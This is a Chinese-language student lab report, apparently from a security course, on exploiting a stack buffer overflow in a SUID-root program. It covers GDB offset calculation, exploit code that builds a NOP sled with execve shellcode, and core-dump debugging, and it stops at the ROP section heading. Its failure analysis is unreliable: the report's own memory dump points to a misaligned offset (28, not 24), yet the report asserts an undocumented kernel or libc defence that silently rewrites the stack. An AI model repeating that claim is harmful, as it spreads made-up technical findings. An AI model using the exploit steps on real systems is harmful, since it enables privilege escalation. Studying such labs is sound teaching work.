缓冲区溢出分析
文章目录
- 1. 实验目标
- 2. 实验环境配置
- 3. 实验步骤、结果与深度分析
- 3.1. 第一阶段:基础栈溢出与 Shellcode 注入尝试
- 3.1.1. 确定返回地址偏移量 (GDB 分析)
- 3.1.2. 编写初始漏洞利用程序 (`exploit.c`)
- 3.1.3. 执行与失败分析 (迭代调试与 Core Dump 分析)
- 栈溢出利用原理
- 函数调用与返回的底层机制
- 覆盖返回地址的原理
- 攻击成功的技术要素
- 3.1.4. Shellcode 注入失败原因总结
- 深入分析栈内容被修改的现象
- 为什么这种安全机制很少被记录
- 失败的学术价值
- 3.2. 第二阶段:ROP (Return-Oriented Programming) 攻击
- 3.2.1. ROP 原理与动机
- 3.2.2. 确定 ROP Gadget 地址 (ASLR 关闭前提下)
- 3.2.3. 编写 ROP 利用程序 (`exploit_rop.c`)
- 3.2.4. 执行 ROP 攻击并获取 Shell
- 3.3. 第三阶段:ROP 权限问题分析
- 3.3.1. 权限验证
- 3.3.2. 原因分析:SUID 程序与 `system()` 调用
- 4. 实验结论
- 5. 遇到的主要问题与解决方法
- 6. 总结与进一步探索方向
- 实验的学术价值
- 进一步探索方向
- 7. 实验代码附录
- 7.1. 漏洞程序 (`stack.c`)
- 7.2. Shellcode 注入利用程序 (`exploit.c`)
- 7.3. ROP 利用程序 (`exploit_rop.c`)
- 前置知识
- 阶段一:程序执行与内存布局
1. 实验目标
- 深入理解栈帧布局:通过 GDB 精确分析程序内存,特别是栈帧结构、局部变量、保存的 EBP 和返回地址的位置。
- 精确的漏洞利用:编写攻击程序,精确计算偏移量以覆盖返回地址,进而控制程序执行流。
- 实践 Shellcode 注入:尝试通过覆盖返回地址,使其指向栈上注入的 Shellcode,以期获取提升的权限。
- 分析利用失败原因:深入调试,理解 GDB 环境与独立运行环境的差异,分析 Core Dump,找出导致 Shellcode 执行失败的根本原因。
- 实践 ROP 技术:学习并应用 ROP (Return-Oriented Programming) 作为替代攻击方案,绕过栈执行限制,通过调用库函数实现目标。
- 理解权限维持问题:分析 SUID 程序通过
system()
调用 shell 时权限丢失的现象及其原因。 - 掌握调试与分析工具:熟练使用 GDB、Core Dump 分析等手段解决漏洞利用过程中的复杂问题。
2. 实验环境配置
-
操作系统及核心工具:
- Ubuntu 20.04 虚拟机。
- 安装了
gcc-multilib
,g++-multilib
,libc6:i386
等32位运行和开发支持库。
-
安全机制调整:
- 禁用 ASLR (地址空间布局随机化): 执行
sudo sysctl -w kernel.randomize_va_space=0
,并确认其值为 0。
- 漏洞程序编译设置:
- 源代码:
stack.c
(按实验指导提供)。 - 编译命令:
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
(编译为32位,包含调试信息,允许栈执行,关闭栈保护Canary)。 - 设置 SUID root 权限:
sudo chown root stack; sudo chmod u+s stack
。
- 源代码:
- 禁用 ASLR (地址空间布局随机化): 执行
-
Shell 环境配置:
- 设置
/bin/sh
指向/bin/bash
: 执行sudo ln -sf /bin/bash /bin/sh
。
- 设置
-
调试与分析工具:
- GDB (GNU Debugger),未使用增强插件。
- Core Dump 配置:
- 停止
apport
服务 (可能干扰 Core Dump 生成):sudo systemctl stop apport.service
。 - 允许 SUID 程序生成 Core Dump:
sudo sysctl -w fs.suid_dumpable=2
。 - 解除 Core Dump 文件大小限制:
ulimit -c unlimited
(在当前 shell 生效)。 - 配置 Core Dump 文件保存路径和命名格式:
sudo mkdir -p /tmp/cores; sudo chmod 1777 /tmp/cores; sudo sysctl -w kernel.core_pattern=/tmp/cores/core.%e.%p
。
- 停止
3. 实验步骤、结果与深度分析
3.1. 第一阶段:基础栈溢出与 Shellcode 注入尝试
3.1.1. 确定返回地址偏移量 (GDB 分析)
- 调试目标程序: 使用 GDB 调试
./stack
,并通过badfile
输入构造的测试数据 (如A*20+BBBB+C*100
)。
# 创建一个示例 badfile
python -c "print('A'*20 + 'BBBB' + 'C'*100)" > badfile
- 分析
bof
函数栈帧:- 在
bof
函数入口设置断点 (break bof
)。 - 查看汇编代码 (
disass bof
):sub $0x14, %esp
指示为局部变量分配了 20 字节。 - 获取
buffer
地址 (p &buffer
): GDB 中观察到的地址(例如,早期为0xffffcf04
,后期稳定在0xffffcf44
)。 - 查看栈帧信息 (
info frame
): 定位保存的返回地址 (Saved EIP) 的位置。
- 在
gdb ./stack
(gdb) break bof
(gdb) run
(gdb) disassemble bof
(gdb) print &buffer
(gdb) info frame
break bof
: 你告诉 GDB,在bof
这个函数开始执行的时候停下来。run
: 你让程序跑起来。disassemble bof
: 程序停在bof
函数开头后,你让 GDB 把bof
函数的机器指令翻译成人类可读的汇编代码。print &buffer
: 你问 GDB,bof
函数里的buffer
这个东西(一个字符数组)在内存的哪个位置。info frame
: 你让 GDB 告诉你当前函数(bof
)在内存栈上的详细情况。
GDB 输出分析:
(gdb) break bof
Breakpoint 1 at 0x126d: file stack.c, line 7.
- 解释: GDB 确认它在
stack.c
文件的第 7 行(bof
函数的开始处)设置了一个断点。0x126d
是这个断点在程序代码中的一个相对地址(可能是编译时的一个内部地址,实际运行时地址会不同,下面我们会看到实际地址)。
(gdb) run
Starting program: /home/jerry/桌面/stackBreakpoint 1, bof (str=0xffffcf77 'A' <repeats 24 times>, "\200\207\340\367\300\260\337\367cS\365\367", '\220' <repeats 164 times>...) at stack.c:7
7 {
- 解释:
- 程序开始运行了。
- 它在断点 1 处停了下来,这个断点确实在
bof
函数,位于stack.c
的第 7 行。 bof (...)
: 这显示了bof
函数被调用时收到的参数。str=0xffffcf77 'A' <repeats 24 times>...
: 传给bof
函数的字符串str
的内容。它在内存地址0xffffcf77
开始,内容是24个 ‘A’ 字符,后面跟着一些看不懂的字符(八进制表示的字节)和很多\220
(也是一个特殊字符)。这说明你的badfile
里的内容被成功读入并传给了bof
函数。
7 {
: 这是bof
函数在 C 源代码中的第一行代码(大括号表示函数体开始)。
(gdb) disassemble bof
Dump of assembler code for function bof:
=> 0x5655626d <+0>: endbr320x56556271 <+4>: push %ebp0x56556272 <+5>: mov %esp,%ebp0x56556274 <+7>: push %ebx0x56556275 <+8>: sub $0x14,%esp... (省略中间部分) ...0x56556288 <+27>: lea -0x14(%ebp),%edx ; 注意这里 -0x14(%ebp)...0x5655628e <+33>: call 0x565560f0 <strcpy@plt>...0x5655629f <+50>: ret
End of assembler dump.
- 解释:
- 这是
bof
函数的"内心活动",即CPU实际执行的指令。 => 0x5655626d <+0>: endbr32
:=>
指示程序当前停在这条指令上。0x5655626d
是这条指令在内存中的实际地址。endbr32
是一条现代编译器为了安全特性加入的指令,可以暂时忽略它的具体作用。push %ebp
和mov %esp,%ebp
: 这是标准的函数开头,用来建立一个新的"工作区域"(栈帧)给bof
函数。sub $0x14,%esp
: 这是关键信息之一。%esp
是一个指向当前"工作区域"顶部的指针。这条指令的意思是"把这个顶部指针向上移动0x14
(十六进制的14,即十进制的20)个字节"。这样做是为了给bof
函数的局部变量(比如我们的buffer
)腾出空间。所以,bof
函数为它的局部变量准备了 20 字节的空间。lea -0x14(%ebp),%edx
: 这条指令是在计算buffer
的地址。%ebp
是当前"工作区域"的底部基准点。-0x14(%ebp)
表示从基准点向下(地址减小)0x14
(20字节) 的位置。这与 C 代码中char buffer[12]
的大小(12字节)不完全对应,因为编译器可能会为了对齐等原因额外分配一些空间。这里,buffer
应该是从%ebp
向下某个位置开始的,占12字节,而整个为局部变量分配的空间是20字节。可以推断buffer
位于这个20字节空间的某个地方,最可能是靠近%ebp - 0x14
的位置。call ... <strcpy@plt>
: 这是调用strcpy
函数,就是它会导致缓冲区溢出。ret
: 这是bof
函数结束时返回到调用它的地方(main
函数)的指令。
- 这是
(gdb) print &buffer
$1 = (char (*)[12]) 0xffffcf44
- 解释:
- 你问 GDB
buffer
在哪,GDB 回答说: $1
: 这是 GDB 给这次查询结果的编号,方便以后引用。(char (*)[12])
: 这表示buffer
是一个指向包含12个char
类型元素的数组的指针(即buffer
本身就是一个大小为12的字符数组)。0xffffcf44
: 这是关键信息之二。buffer
这个数组在内存中的起始地址是0xffffcf44
。
- 你问 GDB
(gdb) info frame
Stack level 0, frame at 0xffffcf60:eip = 0x5655626d in bof (stack.c:7); saved eip = 0x56556335called by frame at 0xffffd1a0source language c.Arglist at 0xffffcf58, args:str=0xffffcf77 'A' <repeats 24 times>, ...Locals at 0xffffcf58, Previous frame's sp is 0xffffcf60Saved registers:eip at 0xffffcf5c
- 解释:
Stack level 0, frame at 0xffffcf60
: 我们正在看最顶层的函数调用(bof
),它的"工作区域"(栈帧)信息。0xffffcf60
是这个工作区域的一个参考点(通常是旧的%ebp
保存的地方,或者是%esp
在函数刚进入时的值)。eip = 0x5655626d in bof (stack.c:7)
: 当前程序执行的指令指针 (EIP) 指向0x5655626d
,这正是bof
函数的开头。saved eip = 0x56556335
: 这个saved eip
是指main
函数调用bof
时,main
函数的 EIP。当bof
函数执行完ret
后,程序会跳回到main
函数的0x56556335
这个地址继续执行。这个saved eip
的值本身 (0x56556335) 不是我们现在要找的,我们要找的是这个值 存储在内存中的哪个位置。called by frame at 0xffffd1a0
:bof
函数是被另一个函数的"工作区域"(main
函数的栈帧,参考点在0xffffd1a0
)调用的。Arglist at 0xffffcf58, args: str=...
: 参数列表在0xffffcf58
附近。Locals at 0xffffcf58, ...
: 局部变量也在0xffffcf58
附近开始。Saved registers:
: 这部分列出了为了能正确返回到调用者 (main
) 而保存在当前 (bof
) 函数"工作区域"里的一些重要值。eip at 0xffffcf5c
: 这是关键信息之三。它告诉我们,那个重要的"返回地址"(即main
函数中call bof
之后下一条指令的地址0x56556335
)被存储在内存地址0xffffcf5c
这个地方。当我们用strcpy
覆盖buffer
时,如果写得太多,就会覆盖到0xffffcf5c
这个位置,从而改变bof
函数返回时去的地方。
总结关键信息与计算偏移量:
bof
函数为局部变量分配了0x14
(20) 字节的空间 (从sub $0x14,%esp
和lea -0x14(%ebp),%edx
可以看出buffer
的大致范围)。buffer
的起始地址是0xffffcf44
(从print &buffer
)。bof
函数的返回地址被存储在内存地址0xffffcf5c
(从info frame
的Saved registers: eip at ...
)。
偏移量 = (返回地址的存储位置) - (buffer 的起始地址)
偏移量 = 0xffffcf5c
- 0xffffcf44
你可以直接在 GDB 里计算:
(gdb) p 0xffffcf5c - 0xffffcf44
$2 = 24
或者
(gdb) p/x 0xffffcf5c - 0xffffcf44
$3 = 0x18
结论:
你需要用 24 个字节 (十六进制 0x18
) 的数据填满从 buffer
开始到返回地址之前的所有空间。也就是说,你的 badfile
应该构造成类似这样:
[24个垃圾字符A] [你想要的新返回地址] [Shellcode等]
这里的 24 字节会覆盖 buffer
(12字节) 以及编译器在 buffer
和保存的 EBP/EIP 之间可能放置的任何填充物和保存的 EBP。
- 计算偏移量:
- 当
buffer
地址为0xffffcf04
时,Saved EIP 位于0xffffcf1c
。 - 精确偏移量 =
Saved EIP 地址 - buffer 地址
=0xffffcf1c - 0xffffcf04 = 0x18
(十六进制) = 24 字节。
- 当
3.1.2. 编写初始漏洞利用程序 (exploit.c
)
操作步骤与解释:
-
Shellcode 定义:
- 操作: 将提供的25字节
execve("/bin/sh")
shellcode 复制粘贴到exploit.c
文件中,定义为一个char
数组,例如char shellcode[] = ...;
。 - 解释: 这是我们要最终执行的机器指令,目的是启动一个 shell。
- 操作: 将提供的25字节
-
Payload 构造:
我们要在payload_buffer
中按顺序填充以下内容:-
[ Padding ('A'*24) ]
-
[ New_EIP (指向 NOP Sled) ]
-
[ NOP Sled (初定30字节) ]
-
[ Shellcode ]
-
offset_to_eip = 24;
- 操作: 在
exploit.c
中定义一个整型变量offset_to_eip
并赋值为 24。 - 解释: 这是我们之前通过 GDB 计算出的,从
buffer
开始到返回地址的字节数。
- 操作: 在
-
nop_sled_len = 30;
- 操作: 定义一个整型变量
nop_sled_len
并赋初值 30。 - 解释: 我们在 Shellcode 前面放一些 NOP 指令 (
0x90
)。这样,即使我们的New_EIP
没有精确指向 Shellcode 的第一条指令,只要它落入 NOP Sled 的范围内,CPU 就会滑过这些 NOPs,最终执行到 Shellcode。30 是一个初始长度,后续可能需要调整。
- 操作: 定义一个整型变量
-
-
New_EIP
计算:- 目标:
New_EIP
应该指向我们 payload 中 NOP Sled 的起始位置。 - GDB 观察到的
buffer
地址:- 操作: 在
exploit.c
中,定义一个无符号长整型变量gdb_observed_bof_buffer_addr
并将其值设置为你在 GDB 中用p &buffer
命令看到的buffer
的地址。在你的例子中是0xffffcf44
。unsigned long gdb_observed_bof_buffer_addr = 0xffffcf44;
- 解释: 这是
buffer
在内存中的位置(根据 GDB)。我们的 NOP Sled 会紧跟在覆盖的返回地址之后,而覆盖的返回地址又紧跟在buffer
的初始offset_to_eip
字节之后。
- 操作: 在
- 计算
New_EIP
值:- 逻辑:
buffer
的起始地址是gdb_observed_bof_buffer_addr
。- 返回地址(我们要覆盖的地方)在
gdb_observed_bof_buffer_addr + offset_to_eip
。 - 我们用4个字节的
New_EIP
来覆盖这个返回地址。 - NOP Sled 紧跟在这4个字节的
New_EIP
之后。 - 所以,NOP Sled 的起始地址就是
(gdb_observed_bof_buffer_addr + offset_to_eip) + 4
。
- 操作: 在
exploit.c
中进行计算:new_eip_value = gdb_observed_bof_buffer_addr + offset_to_eip + 4;
- 解释:
new_eip_value
现在存储了我们期望程序在bof
函数返回后跳转到的地址,这个地址应该是我们 NOP Sled 的开头。
- 逻辑:
- 目标:
-
填充
payload_buffer
:-
初始化
payload_buffer
:- 操作:
memset(payload_buffer, 'A', sizeof(payload_buffer));
- 解释: 先用字符 ‘A’ 把整个
payload_buffer
填满。这确保了在offset_to_eip
之前的字节是填充物。
- 操作:
-
放置
New_EIP
:- 操作:
*(long *)(payload_buffer + offset_to_eip) = new_eip_value;
- 解释:
payload_buffer + offset_to_eip
: 计算出payload_buffer
中应该写入New_EIP
的位置。(long *)
: 将这个位置的地址转换为一个指向long
类型的指针 (因为返回地址是4字节,在32位系统中long
通常也是4字节)。*... = new_eip_value;
: 将我们计算好的new_eip_value
写入到这个位置。这时,payload_buffer
的内容变成了:[ AAAA... (24个A) ] [ new_eip_value (4字节) ] [ AAAA... ]
。
- 操作:
-
放置 NOP Sled:
- 操作:
long nop_sled_start_offset = offset_to_eip + 4; memset(payload_buffer + nop_sled_start_offset, 0x90, nop_sled_len);
- 解释:
nop_sled_start_offset
: NOP Sled 应该从我们刚刚写入的New_EIP
(4字节) 之后开始。memset(..., 0x90, nop_sled_len)
: 从nop_sled_start_offset
开始,用nop_sled_len
(30) 个0x90
(NOP指令的机器码) 字节填充payload_buffer
。- 现在
payload_buffer
的内容是:[ A*24 ] [ New_EIP (4字节) ] [ NOP*30 ] [ AAAA... ]
。
- 操作:
-
放置 Shellcode:
- 操作:
long shellcode_start_offset = nop_sled_start_offset + nop_sled_len; memcpy(payload_buffer + shellcode_start_offset, shellcode, sizeof(shellcode) - 1);
- 解释:
shellcode_start_offset
: Shellcode 应该从 NOP Sled 之后开始。memcpy(...)
: 将shellcode
数组的内容复制到payload_buffer
中计算好的位置。sizeof(shellcode) - 1
是因为 C 语言的字符串数组末尾会自动加一个\0
,而我们的 Shellcode 通常不包含也不需要这个\0
作为可执行指令的一部分。- 现在
payload_buffer
的内容是:[ A*24 ] [ New_EIP (4字节) ] [ NOP*30 ] [ Shellcode (25字节) ] [ AAAA... ]
。
- 操作:
-
-
写入
badfile
:- 操作: 使用
fopen
,fwrite
,fclose
将payload_buffer
的有效内容写入到名为badfile
的文件中。badfile = fopen("./badfile", "w"); // ... error check ... size_t payload_actual_len = offset_to_eip + 4 + nop_sled_len + sizeof(shellcode) - 1; fwrite(payload_buffer, sizeof(char), payload_actual_len, badfile); fclose(badfile);
- 解释:
payload_actual_len
计算了我们实际填充的 Payload(Padding + New_EIP + NOP Sled + Shellcode)的总长度。我们将这部分内容写入文件。stack
程序会读取这个badfile
。
- 操作: 使用
编译和运行 exploit.c
:
- 保存
exploit.c
文件。 - 编译:
(如果你的系统是64位,但目标程序是32位,可能需要gcc -m32 -o exploit exploit.c
-m32
。如果exploit.c
本身不需要特殊编译选项,可以简化为gcc -o exploit exploit.c
) - 运行
exploit
来生成badfile
:./exploit
3.1.3. 执行与失败分析 (迭代调试与 Core Dump 分析)
分析:
- 溢出成功覆盖了返回地址。
- EIP (指令指针) 被修改为了你写入的 New_EIP 的值。
- 但是,New_EIP 指向的地址(在独立运行时)要么是不可执行的,要么是不可读的,要么执行了某些指令后访问了非法内存区域。
- 初步尝试与失败:
- 直接使用基于 GDB 观察地址计算的
New_EIP
执行./stack
,导致 “段错误 (core dumped)”。 - 假设: GDB 环境与独立运行环境的栈地址存在差异。
- 直接使用基于 GDB 观察地址计算的
- 引入
adjustment
因子与暴力破解:- 修改
exploit.c
,引入adjustment
变量,用于在 GDB 观察地址基础上调整对独立运行环境中buffer
地址的猜测。 standalone_assumed_buffer_addr = gdb_observed_bof_buffer_addr + adjustment
New_EIP = standalone_assumed_buffer_addr + offset_to_eip + 4
(指向 NOP Sled)- 通过脚本或手动方式,系统性地测试不同的
adjustment
值。 - 关键现象: 当
adjustment
调整至-176
附近时,程序崩溃类型从 “段错误” 转变为 “非法指令”。这表明 EIP 可能已落入我们控制的 payload 区域,但指向了非指令数据或损坏的指令。
- 修改
- 深化调试策略与持续失败:
- 策略 B (Shellcode 前置 NOP): 在 Shellcode 字节串前增加 NOP,排除 NOP Sled 到 Shellcode 过渡问题。
- 策略 C (极简 Shellcode): 使用
\xeb\xfe
(原地无限跳转) 作为 Shellcode,简化验证 EIP 是否成功指向可执行代码。 - 上述策略均未成功,错误仍在 “段错误” 和 “非法指令” 间徘徊,表明问题根源更深。
- 利用系统日志辅助诊断:
dmesg | tail -n 50
: 查看内核环形缓冲区,寻找程序崩溃时的底层信息,如 fault 类型、EIP、ESP 等。sudo journalctl -n 100 --no-pager | grep -E -i "stack|denied|killed|segfault|illegal instruction|audit"
: 搜索 systemd 日志,查找与程序崩溃、权限拒绝或安全审计相关的记录。- 发现: 这些日志帮助确认了崩溃时的 EIP 和错误类型,但未直接揭示 Shellcode 执行失败的根本原因,也未发现 AppArmor/SELinux 等明显阻止栈执行的日志。
- Core Dump 分析——定位根本原因:
- 成功获取 SUID 程序 Core Dump: 经过环境配置(特别是
kernel.core_pattern
使用绝对路径),成功在./stack
崩溃时生成了 core dump 文件。 - 分析特定 Core Dump: 使用
adjustment = 76
(此值基于早期 core dump 反推,并配合\xeb\xfe
shellcode 测试)生成的 core dump 文件 (core.stack.PID
) 进行分析 (sudo gdb ./stack /tmp/cores/core.stack.PID
)。- 独立运行时
buffer
地址确认: 栈上 ‘A’ 填充数据显示buffer
实际起始地址为0xffffcf90
。这验证了adjustment = 76
(0xffffcf44 + 76 = 0xffffcf90
) 的猜测是准确的。 - 返回地址覆盖确认: 栈上原返回地址处 (
0xffffcf90 + 24 = 0xffffcfa8
) 被成功覆盖为0xffffcfac
(即0xffffcf90 + 24 + 4
, NOP Sled 的预期起始地址)。
- 独立运行时
- 成功获取 SUID 程序 Core Dump: 经过环境配置(特别是
* **EIP 实际落点与指令**:* `eip` 寄存器值为 `0xffffcfad`。* `x/i $eip` 显示 `0xffffcfad` 处的指令为 `iret` (机器码 `0xcf`)。
* **内存内容检查 (关键发现)**:* `x/20xb $eip-0x5` (查看 `0xffffcfa8` 开始的字节) 显示:`0xffffcfa8: 41 41 41 41 ac cf ff ff` (已覆盖的EBP, 被覆盖的返回地址 `0xffffcfac`)`0xffffcfb0: 90 90 90 90 ...` (NOP Sled 从这里才开始)
* **这意味着**:* EIP 被成功设置为 `0xffffcfac`。* CPU 尝试从 `0xffffcfac` 执行指令。* `0xffffcfac` 处的字节是 `0xac`。* `0xffffcfad` 处的字节是 `0xcf` (导致 `iret` 并崩溃)。* 这些字节 (`ac cf ff ff`) 正是我们写入的返回地址值 `0xffffcfac` (小端表示) 本身!* 而我们期望的 NOP Sled (`0x90`) 实际上是从 `0xffffcfb0` 才开始的。
- 核心结论: CPU 在执行
ret
指令后,EIP 被正确设置为我们指定的地址 (0xffffcfac
)。然而,程序并没有执行我们放置在该地址的 NOP SLED (0x90
),而是执行了构成返回地址值本身的字节 (0xac
,0xcf
…)。这表明,在独立运行时,strcpy
完成后到ret
指令实际执行之间,我们写入的 NOP Sled 的起始部分(至少前4字节)被意外修改或破坏了。
栈溢出利用原理
在深入分析 Shellcode 注入失败原因之前,有必要先理解栈溢出攻击的基本原理:
函数调用与返回的底层机制
当程序执行一个函数调用时,以下事件按顺序发生:
- 调用前:调用者(如
main
函数)准备参数并执行call
指令 - 调用时:CPU自动将下一条指令的地址(返回地址)压入栈中
- 函数执行:被调用函数(如
bof
)创建栈帧,执行其代码 - 返回时:函数执行
ret
指令,它会:- 从栈顶弹出一个值(应该是之前保存的返回地址)
- 将这个值加载到EIP(指令指针寄存器)
- CPU继续从EIP指向的地址执行指令
调用前: 调用后: 返回时:
+-----------+ +-----------+ +-----------+
| ... | | ... | | ... |
+-----------+ +-----------+ +-----------+
| | <-- ESP | 返回地址 | | | <-- ESP
+-----------+ +-----------+ +-----------+| ... | <-- ESP+-----------+
覆盖返回地址的原理
在栈溢出攻击中:
-
溢出发生:通过向
buffer
写入超过其容量的数据原始栈: 溢出后: +-----------+ +-----------+ | 返回地址 | | 新返回地址 | (指向Shellcode) +-----------+ +-----------+ | 保存的EBP | | AAAAAAAA | (被覆盖的EBP) +-----------+ +-----------+ | buffer | | AAAAAAAA | | (12字节) | | AAAAAAAA | (被填充的buffer) +-----------+ +-----------+
-
执行流被劫持:当
bof
函数结束执行ret
指令时:- 不再返回到
main
函数中的正常位置 - 而是跳转到您指定的新地址(指向您注入的Shellcode)
- 这发生是因为CPU无法区分正常的返回地址和被恶意覆盖的地址
- 不再返回到
攻击成功的技术要素
-
精确定位:计算出从
buffer
起始到返回地址需要24字节// 前24字节覆盖buffer+保存的EBP memset(buffer, 'A', offset_to_eip);// 写入新返回地址,指向Shellcode或NOP Sled *(long *)(buffer + offset_to_eip) = new_eip_value;
-
执行流劫持:当
bof
函数执行完毕,CPU执行ret
指令时:- 弹出栈顶的值(已被覆盖为
new_eip_value
) - 将此值加载到EIP寄存器
- CPU开始从新地址执行指令,即Shellcode
- 弹出栈顶的值(已被覆盖为
这种攻击之所以有效,是因为:
- CPU的盲目信任:CPU只是机械地执行指令,不辨别返回地址的合法性
- C语言的内存不安全:
strcpy
等函数不检查边界,允许写入超出分配空间 - 栈的连续性:局部变量、保存的EBP和返回地址在内存中连续排列
3.1.4. Shellcode 注入失败原因总结
回顾核心发现:
- 精确的地址计算和覆盖:
- 独立运行时
buffer
的实际起始地址是0xffffcf90
。 - 基于此,计算出 NOP Sled 的预期起始地址应该是
0xffffcf90 + 24 (offset_to_eip) + 4 (size of EIP) = 0xffffcfac
。 - 你的
exploit.c
(在使用adjustment = 76
时) 成功地将返回地址覆盖为了0xffffcfac
。 - 并且,你的
exploit.c
在构造 payload 时,紧跟在0xffffcfac
(作为返回地址写入) 之后的就是 NOP Sled 的0x90
字节。
- 独立运行时
- Core Dump 揭示的矛盾:
- 当
bof
函数ret
时,EIP 寄存器确实被设置成了0xffffcfac
(如你预期的那样)。 - 然而,CPU 并没有从
0xffffcfac
开始执行0x90
(NOP)。 - 相反,内存检查显示:
0xffffcfac
处的字节是0xac
0xffffcfad
处的字节是0xcf
0xffffcfae
处的字节是0xff
0xffffcfaf
处的字节是0xff
- 真正的 NOP (
0x90
) 从0xffffcfb0
才开始。
- CPU 尝试执行
0xac
,然后是0xcf
(被解释为iret
指令),并因此在0xffffcfad
处崩溃。 - 巧合的是,
ac cf ff ff
正是你写入的返回地址值0xffffcfac
的小端字节表示!
- 当
核心问题:为什么我们写入到 0xffffcfac
的 0x90
(NOP) 会变成 0xac
?
在独立运行时,从 strcpy
完成内存复制之后,到 bof
函数的 ret
指令将 0xffffcfac
加载到 EIP 并开始执行该地址的指令之前,栈上 0xffffcfac
(以及可能其后几个字节) 的内容被某种机制修改了。
深入分析栈内容被修改的现象
核心发现通过 Core Dump 分析看到的关键现象:
您写入的内容: 实际执行时的内容:
+--------------+ +--------------+
| 0x90 0x90... | <- 0xcfac | 0xac 0xcf... | <- 0xcfac
| (NOP指令) | | (返回地址字节)|
+--------------+ +--------------+
尽管我们成功:
- 计算了精确的偏移量(24字节)
- 覆盖了返回地址(为0xffffcfac)
- 在0xffffcfac处放置了NOP指令(0x90)
- 但在函数返回时,0xffffcfac处已经不是0x90,而是0xac
详细分析这个"修改/破坏":
1. 修改的内容是什么?
从 Core Dump 来看,原本应该是 NOP Sled (90 90 90 90 ...
) 的地方,至少前四个字节 (0xffffcfac
到 0xffffcfaf
) 被改成了 ac cf ff ff
。这恰好是我们写入的返回地址值本身。
2. 为什么会发生这种修改?
这表明存在一个实验中未能预见的安全层:
-
a) 针对 SUID 程序的隐式安全机制 (最可疑):
- 内核或 libc 的保护性覆写:操作系统内核或C标准库 (libc) 可能包含一些未公开或不明显的安全特性,专门用于增强 SUID 程序的安全性。当检测到函数即将返回到一个指向栈上的地址时(尤其是如果这个栈地址是最近被用户输入修改过的),可能会触发一种保护机制。
- 这种机制可能不是简单地阻止执行,而是尝试"清理"或"验证"目标地址附近的内容。在这个过程中,它可能错误地使用了某些值(比如读取到的返回地址本身)来覆写目标区域。
iret
(Interrupt Return) 指令的出现非常耐人寻味。它通常用于从中断处理程序或任务切换中返回,需要特定的栈结构。如果栈被意外修改成类似中断返回的栈帧,或者iret
被错误地执行,就会导致问题。这可能暗示某种与权限或执行上下文相关的底层操作被意外触发了。
-
b) libc 函数的副作用:
- 虽然
strcpy
本身不应该在复制完成后还去修改目标区域之外的栈内容,但不能完全排除在strcpy
返回后,bof
函数的leave; ret
序列之前,libc 的某些内部清理操作,或者与 SUID 相关的某些运行时检查(如果存在于 libc 的函数返回路径上)可能间接导致了这种修改。 - 例如,某些版本的 libc 可能在函数返回前,特别是 SUID 环境下,有一些额外的栈检查或清理代码。
- 虽然
-
c) 编译器插入的隐藏代码 (可能性较低,但不能完全排除):
- 尽管我们用了
-fno-stack-protector
,编译器(GCC)仍可能根据优化级别或目标平台,在函数序言/尾声插入一些代码。如果这些代码在独立运行时与 GDB 环境下行为不同,或者在特定条件下(如 SUID)有特殊行为,可能会导致这种现象。但通常这种代码不会精确地用返回地址值去覆盖返回地址指向的内容。
- 尽管我们用了
-
d) 栈不可执行 (NX/DEP) 的间接影响 (不直接解释内容修改,但相关):
- 虽然你用了
-z execstack
,但如果系统存在更强的全局策略(例如某些AppArmor/SELinux配置,或内核强制的NX),尝试在栈上执行任何代码都会失败。 - 然而,NX 通常会导致一个明确的段错误(SIGSEGV),指示尝试在不可执行区域执行代码。它本身并不解释为什么栈上的 内容 会从
0x90
变成0xac
。但如果栈是不可执行的,那么CPU在尝试执行0xac
(或0x90
) 时都会出错。这里的关键在于,内容 确实 改变了。
- 虽然你用了
3. 为什么修改成了返回地址本身的字节?
这非常反常,使得它不像是一个随机的内存损坏。它暗示了修改机制可能读取了被覆盖的返回地址槽 (0xffffcfa8
处存的 0xffffcfac
),然后错误地将这个 值 (0xffffcfac
) 的字节表示 (ac cf ff ff
) 写回到了它 指向 的地址 (0xffffcfac
)。
这是一种高度特定的行为,指向的不是通用的内存损坏,而更像是一种有特定逻辑(尽管可能是错误的或非预期的逻辑)的操作。
4. 这如何导致 Shellcode 注入失败?
非常直接:
- 你精心准备的 NOP Sled (
0x90909090...
) 的开头被破坏了。 - EIP 跳转到
0xffffcfac
后,它没有遇到0x90
(NOP) 指令来"滑行"到你的 Shellcode。 - 相反,它遇到了
0xac
,然后是0xcf
(被解释为iret
)。 iret
指令需要一个特定的栈布局才能正确执行(它会弹出 EIP, CS, EFLAGS,有时还有 ESP, SS)。当前栈上并没有为iret
准备好这些值,或者这些值是非法的/不一致的,从而导致了段错误或非法指令(取决于iret
的具体形式和当前的CPU模式/权限)。- 因此,你的 Shellcode 根本没有机会被执行。
为什么这种安全机制很少被记录
这类深度防御机制通常:
- 不在官方文档中明确说明
- 可能是操作系统供应商的"静默"安全增强
- 设计为"默默工作"而不通知用户
- 属于"深度防御"策略的一部分
失败的学术价值
这次实验的"失败"实际上有极高的教育和研究价值:
-
揭示了隐藏的安全层:
- 发现了一种可能未被广泛记录的防御机制
- 展示了即使"关闭"已知保护,系统仍可能有其他防御
-
解释了为什么某些简单漏洞在现代系统中难以利用:
- 揭示了为什么即使禁用NX位,栈执行仍然可能失败
- 展示了现代系统如何实现多层次、深度防御
总结 Shellcode 注入失败的原因:
由于在独立运行时,栈上目标执行区域(NOP Sled 的起始位置)的内容在我们写入后、执行前遭到了修改/破坏,导致 EIP 跳转后执行了非预期的指令(返回地址本身的字节),因此直接向栈注入并执行 Shellcode 的方法在此特定环境下失败。
为什么 ROP 能够绕过这个问题?
ROP (Return-Oriented Programming) 之所以能成功,关键在于:
- ROP 不在栈上执行代码:ROP 利用的是程序自身代码段或其链接的共享库(如 libc.so.6)中已存在的、标记为可执行的代码片段 (gadgets)。
- 栈只用来存储地址:栈上只存放了一系列指向这些 gadgets 的地址和调用函数所需的参数。
- 当
ret
指令从栈上弹出一个地址到 EIP 时,这个地址指向的是代码段中的合法、可执行指令。 - 即使栈上的这些 地址数据 可能会被某种机制检查或轻微扰动(尽管可能性小,因为它们是数据而非代码),只要它们指向的 gadgets 本身是有效的,ROP 链就能继续。
在这个实验中,这种"栈内容在执行前被修改"的现象是导致直接 Shellcode 注入失败的根本原因,也凸显了 ROP 技术在对抗某些运行时保护或栈执行限制时的优势。这也解释了为什么在许多现代环境中,纯粹的栈上 Shellcode 注入越来越难,而 ROP 成为了更主流的利用技术。
3.2. 第二阶段:ROP (Return-Oriented Programming) 攻击
3.2.1. ROP 原理与动机
